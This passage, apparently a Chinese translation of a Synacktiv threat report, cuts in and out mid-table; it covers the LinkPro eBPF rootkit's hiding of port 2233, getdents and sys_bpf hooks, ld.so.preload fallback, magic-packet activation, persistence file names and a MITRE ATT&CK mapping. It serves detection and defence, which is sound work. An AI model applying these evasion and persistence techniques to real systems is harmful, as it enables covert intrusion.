monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tcp4_seq_show</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">udp4_seq_show</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tcp6_seq_show</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">udp6_seq_show</span></code><span leaf="">上。这些系统调用提供 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/net/tcp</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/net/tcp6</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/net/udp</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/net/udp6</span></code><span leaf="">中所暴露的信息。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">arp_diag</span></code><span leaf="">实现的这些函数旨在隐藏所有涉及 2233 端口的记录。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012305" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=6a6dbdd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaSVndCMwgrEZGvZ33HuskZAoWNdZGJpzaouEeVgrbR49Vk2Tf8FQNTUDBHGCzC2cdyFeMynG6RS6UgibY4KdQTcibd2JXadjboo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">hook_tcp4_seq_show 的实现</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">结论</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Synacktiv CSIRT 在一处遭入侵的 AWS 基础设施上发现了 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">rootkit,对其的分析印证并加深了威胁组织滥用 eBPF 技术的趋势。延续 BPFDoor、Symbiote 等恶意软件的脚步,LinkPro 通过在多个层面叠加多种隐藏手段,把这一类后门的复杂度推到了一个新的台阶。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在内核层面的隐匿方面,该 rootkit 使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tracepoint</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kretprobe</span></code><span leaf="">类型的 eBPF 程序拦截 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><span leaf="">( 隐藏文件 ) 与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sys_bpf</span></code><span leaf="">( 隐藏自身 BPF 程序 ) 系统调用。值得注意的是,这一手法依赖于内核启用了特定配置项 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CONFIG_BPF_KPROBE_OVERRIDE</span></code><span leaf="">) 。一旦该选项缺失,LinkPro 就会回退到另一条路径——通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">加载恶意库,以保证用户态层面的活动也能被隐藏。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">LinkPro 同样以其在运行模式上的灵活性而引人注目: 它既可以以被动侦听的方式运行,也可以直接联系 C2 ( 命令与控制 ) 服务器。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">在 </span><strong style="margin-top: 0px;"><span leaf="">侦听模式</span></strong><span leaf="">( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse</span></code><span leaf="">) 下,它部署了一条基于 </span><strong><span leaf="">XDP</span></strong><span leaf="">( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ingress</span></code><span leaf="">) 与 </span><strong><span leaf="">TC</span></strong><span leaf="">( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">egress</span></code><span leaf="">) 程序的高级网络处理链,从实现上明显借鉴了开源项目 eBPFeXPLOIT。该机制可以将 &#34;魔法数据包&#34; 重定向到内部侦听端口,并隐藏整个通信过程。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">在 </span><strong style="margin-top: 0px;"><span leaf="">直连模式</span></strong><span leaf="">( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">forward</span></code><span leaf="">) 下,这种重定向并非必要,因此并未启用。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通信建立之后,LinkPro 还为操作员提供了若干高级功能,尤其是充当横向移动 </span><strong><span leaf="">跳板</span></strong><span leaf="">的能力。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们暂时无法对该威胁组织进行正式归因,但本次攻击的目的看起来是出于经济动机。综上,LinkPro 是一个具体的例子,展示了恶意软件如何以&#34;自适应&#34;的方式利用 eBPF。它将内核 _hook_、用户态回退机制 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld.so.preload</span></code><span leaf="">) 以及多种通信模式组合在一起,体现出作者刻意为应对不同系统配置、规避检测而设计的思路。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">本次分析过程中编写的 YARA 规则,维护在 synacktiv-rules Github 仓库中。</span></strong></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">MITRE ATT&amp;CK 映射 — LinkPro</span></h2><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">战术 ( Tactic )</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">技术 ( ID )</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro 的对应使用方式</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">执行 ( Execution )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Command and Scripting Interpreter: Unix Shell (T1059.004)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro 通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/bin/sh -c</span></code><span leaf="">( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">shell</span></code><span leaf="">命令 ) 执行命令,并通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/bin/bash</span></code><span leaf="">( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">terminal_create</span></code><span leaf="">命令 ) 提供完整的交互式 shell。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">持久化 ( Persistence )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Create or Modify System Process: Systemd Service (T1543.002)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">创建 systemd unit 文件 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/systemd/system/systemd-resolveld.service</span></code><span leaf="">) ,在系统启动时执行。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">持久化 ( Persistence )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Hijack Execution Flow: Dynamic Linker Hijacking (T1574.006)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">作为替代/回退的隐匿机制。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">防御绕过 ( Defense Evasion )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Masquerading: Match Legitimate Name or Location (T1036.005)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">通过文件名 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/usr/lib/.system/.tmp~data.resolveld</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">systemd-resolveld.service</span></code><span leaf="">把自身伪装成 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">systemd-resolved</span></code><span leaf="">。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">防御绕过 ( Defense Evasion )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Indicator Removal: Timestomp (T1070.006)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro 把持久化文件的时间戳改成与合法系统文件 ( 如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/passwd</span></code><span leaf="">) 一致。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">防御绕过 ( Defense Evasion )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Rootkit (T1014)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">在内核层面通过对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sys_bpf</span></code><span leaf="">的 eBPF hook 隐藏自身痕迹。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">防御绕过 ( Defense Evasion )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Obfuscated Files or Information (T1027)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">download_manage</span></code><span leaf="">外传的数据使用 Base64 编码,C2 流量则使用 XOR 加密。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">防御绕过 ( Defense Evasion )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Impair Defenses: Modify System Firewall (T1562.007)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">XDP 程序在主网络栈之前处理数据包,从而绕过本机防火墙过滤。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">命令与控制 ( Command and Control )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Application Layer Protocol (T1071)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">除了 raw TCP/UDP 外,还使用 HTTP 与 DNS ( 通过 DNS Tunneling </span><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">T1071.004</span></strong><span leaf="">) 进行 C2 通信。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">命令与控制 ( Command and Control )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Traffic Signaling: Port Knocking (T1205.002)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">&#34;魔法数据包&#34; 概念 ( 窗口大小为 54321 的 TCP SYN ) 即一种流量信号,用于激活被动 C2。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">命令与控制 ( Command and Control )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Proxy: External Proxy (T1090.002)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse_connect</span></code><p><span leaf="">命令建立 SOCKS5 代理隧道用于流量中继,实现跳板功能。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">命令与控制 ( Command and Control )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Ingress Tool Transfer (T1105)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">upload_file</span></code><p><span leaf="">命令允许操作员通过 HTTP 把额外的工具下载到受害主机上。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">数据外传 ( Exfiltration )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Exfiltration Over C2 Channel (T1041)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">download_manage</span></code><p><span leaf="">命令通过 C2 通道外传文件。其分块 + Base64 编码的实现方式是该样本特有的。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">收集 ( Collection )</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">File and Directory Discovery (T1083)</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">通过 